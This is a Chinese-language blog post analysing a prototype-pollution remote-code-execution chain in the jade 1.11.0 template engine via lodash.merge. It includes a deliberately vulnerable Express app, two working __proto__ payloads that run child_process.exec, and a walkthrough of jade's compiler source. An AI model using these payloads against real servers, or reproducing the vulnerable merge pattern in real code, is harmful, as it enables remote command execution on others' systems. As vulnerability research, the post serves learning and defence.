当前位置:   article > 正文

jade原型链污染rce分析_jade 原型链污染

jade 原型链污染

记录自己的理解,有什么不对的欢迎各位师傅指正。

一、环境搭建

  1. npm install jade@1.11.0
  2. npm install lodash@4.17.4
  3. npm install express

app.js

  1. const express = require('express');
  2. const path = require('path');
  3. var lodash= require('lodash');
  4. const app = express();
  5. var router = express.Router();
  6. app.set('views', path.join(__dirname));
  7. app.engine('jade', require('jade').__express);
  8. app.set("view engine", "jade");
  9. app.use(express.json()).use(express.urlencoded({
  10. extended: false
  11. }));
  12. router.get('/', (req, res, next) => {
  13. var malicious_payload = req.query.malicious_payload;
  14. lodash.merge({}, JSON.parse(malicious_payload));
  15. res.render('./index.jade', {
  16. title: 'hello',
  17. name: ''
  18. });
  19. });
  20. app.use('/', router)
  21. app.listen(8888, () => console.log('Example app listening on port http://127.0.0.1:8888 !'))

index.jade

  1. h1 title: #{title}
  2. p hello #{name}

二、漏洞复现

  1. {"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}}
  2. {"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}

三、漏洞分析

3.1、流程分析

前面这部分和ejs一样的。

入口点还是res.render

进入app.render,往下走,走到tryRender函数,继续跟进。

调用了viewrender方法。继续跟进。

接着看到this.engine,之前分析的ejs有分析过,这个是什么。就不再分析了,继续跟进。

这里会进入jade模板文件的lib目录下的index.js,调用了exports.__express这个函数。然后调用renderFile来渲染文件。继续跟进。

来到函数最后一行,处理模板缓存的一个函数。先是执行handleTemplateCache(options)这个函数,肯定返回一个函数,我们假设把这个函数命名为fn,那么后面这个(options)就是调用fn(options)。继续跟进。

可以看到我打断点的那一行,也就是174行,注意这里返回的内容赋值给了templ变量,然后返回出去了,所以这里一定返回了一个函数,跟进看看。

我把这段代码全部贴出来。获取options变量,获取str变量。然后解析这两个变量,赋值给parsed变量。如果options.compileDebug不等于false,也就是debug模式开起来了。进入if,没开起来就将parsed.body赋值给fn,说明parsed里面可能有body这个属性。如果没有的话,那么就可以污染控制。下面一行代码将fn的值作为函数体创建一个函数,命名为fn。所以说我们这个parsedbody属性能控制的话,这个函数内容就能控制,如果说这个函数能执行,那么我们就可以代码执行。这是一个思考点。接着继续分析,下面创建一个res函数,里面传入locals参数,然后函数体里面调用的就是fnjade的值就就是Object.create(runtime),相当于嵌套了一下,调用了res的话,就会调用fn函数。然后我们直接看最后一行。确实是返回了res,我们记得之前的时候我们需要返回一个函数,然后会执行这个函数,所以说这个fn函数一定会被执行。那么我们再来看看这个parse.body是否能被控制。我们进入parse(str,options)继续分析。

  1. exports.compile = function(str, options){
  2. var options = options || {}
  3. , filename = options.filename
  4. ? utils.stringify(options.filename)
  5. : 'undefined'
  6. , fn;
  7. str = String(str);
  8. var parsed = parse(str, options);
  9. if (options.compileDebug !== false) {
  10. fn = [
  11. 'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
  12. , 'try {'
  13. , parsed.body
  14. , '} catch (err) {'
  15. , ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
  16. , '}'
  17. ].join('\n');
  18. } else {
  19. fn = parsed.body;
  20. }
  21. fn = new Function('locals, jade', fn)
  22. var res = function(locals){ return fn(locals, Object.create(runtime)) };
  23. if (options.client) {
  24. res.toString = function () {
  25. var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
  26. err.name = 'Warning';
  27. console.error(err.stack || /* istanbul ignore next */ err.message);
  28. return exports.compileClient(str, options);
  29. };
  30. }
  31. res.dependencies = parsed.dependencies;
  32. return res;
  33. };

1、判断options.lexer是否存在,存在就产生一个警告。

2、创建一个解析器。

3、定义一个tokens变量。

4、解析获取tokens并赋值给tokens

5、创建一个编译器。

6、定义js变量。

7将编译的结果赋值给js变量。

8、判断debug模式有没有开启,开启则控制台输出错误。

9、定义一个globals数组变量。

10、判断options.globals存不存在,存在就将其进行slice操作之后赋值给globals

11、将jadejade_mixins、...、buf等值赋值给globals数组。

12、定义body变量并进行赋值操作,里面有一个三元符的运算,如果options.selftrue的话,就将'var self = locals || {};\n' + js 拼接进入body变量。否则将addWith('locals || {}', '\n' + js, globals)拼接进去。

13、返回一个对象,里面有两个属性,一个是body属性,一个是dependencies属性。

body属性的值等于里面 的body变量。所以我们只需要能控制body变量,就能进行代码执行。

  1. function parse(str, options){
  2. if (options.lexer) {
  3. console.warn('Using `lexer` as a local in render() is deprecated and '
  4. + 'will be interpreted as an option in Jade 2.0.0');
  5. }
  6. // Parse
  7. var parser = new (options.parser || Parser)(str, options.filename, options);
  8. var tokens;
  9. try {
  10. // Parse
  11. tokens = parser.parse();
  12. } catch (err) {
  13. parser = parser.context();
  14. runtime.rethrow(err, parser.filename, parser.lexer.lineno, parser.input);
  15. }
  16. // Compile
  17. var compiler = new (options.compiler || Compiler)(tokens, options);
  18. var js;
  19. try {
  20. js = compiler.compile();
  21. } catch (err) {
  22. if (err.line && (err.filename || !options.filename)) {
  23. runtime.rethrow(err, err.filename, err.line, parser.input);
  24. } else {
  25. if (err instanceof Error) {
  26. err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues';
  27. }
  28. throw err;
  29. }
  30. }
  31. // Debug compiler
  32. if (options.debug) {
  33. console.error('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m', js.replace(/^/gm, ' '));
  34. }
  35. var globals = [];
  36. if (options.globals) {
  37. globals = options.globals.slice();
  38. }
  39. globals.push('jade');
  40. globals.push('jade_mixins');
  41. globals.push('jade_interp');
  42. globals.push('jade_debug');
  43. globals.push('buf');
  44. var body = ''
  45. + 'var buf = [];\n'
  46. + 'var jade_mixins = {};\n'
  47. + 'var jade_interp;\n'
  48. + (options.self
  49. ? 'var self = locals || {};\n' + js
  50. : addWith('locals || {}', '\n' + js, globals)) + ';'
  51. + 'return buf.join("");';
  52. return {body: body, dependencies: parser.dependencies};
  53. }

这里我们发现有他将js这个变量拼接进了body变量,我们仔细看看js这个变量怎么获取到的。所以进入

js = compiler.compile();代码中。

1、给this.buf赋值为一个空数组用来存放数据,buf明显就是缓存的意思,最后可以看到return出去了,并且将里面的数据以换行为分割进行的拼接。

2、判断this.pp是否为true。如果是的话将var jade_indent = []; 代码放入这个数组。

3、设置this.lastBufferedIdx为-1。

4、调用this.visit这个函数,传入的参数为this.node

5、下面的代码有注释,这里就不分析,主要看this.visit函数,我们跟进分析。

1、将this.debug赋值给debug

2、如果开启了debug模式,然后将里面的代码拼接进buf这个数组里面,可以看到node.linenode.filename都拼接进去了。这里两个参数如果可以控制的话。那么就能代码执行了。这里有一个问题,那就是node.line是有值的。其实它运行了很多遍visit这个函数,我们接下来看看payload怎么拼接进去的。

3、后面代码就不重要了。

第一次调用node.line存在没法控制,接着我们来到visitNode函数。传入的node参数是一个Block的一个对象。那么我们需要了解visitNode这个函数的作用,例如我们传入的Block对象,那么它就会调用visitBlock这个函数,如果是Tag这个对象,那么就会调用visitTag这个对象,以此类推。那么我们继续分析。

可以看到visitNode里面调用了visit这个函数。传入的参数是一个Tag对象。

Tag对象中的line依然不可以控制,我们继续跟进。调用visitTag函数。

visitTag里面还有visit函数,传入的参数是一个block这个类,注意看这个类里面是没有line这个变量的,所以会使用到我们的payload。自此,我们的payload就被拼接,导致代码执行的产生。

buf内容

  1. Array(4) [jade_debug.unshift(new jade.DebugItem( 0, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
  2. jade_debug.unshift(new jade.DebugItem( 1, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
  3. buf.push("<h1>");,
  4. jade_debug.unshift(new jade.DebugItem( global.proc…rocess').exec('calc'), jade_debug[0].filename ));]

可以看到拼接进去的时候是DebugItem的第一个参数,所以可以直接执行命令。

参考

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/513784
推荐阅读
相关标签
  

闽ICP备14008679号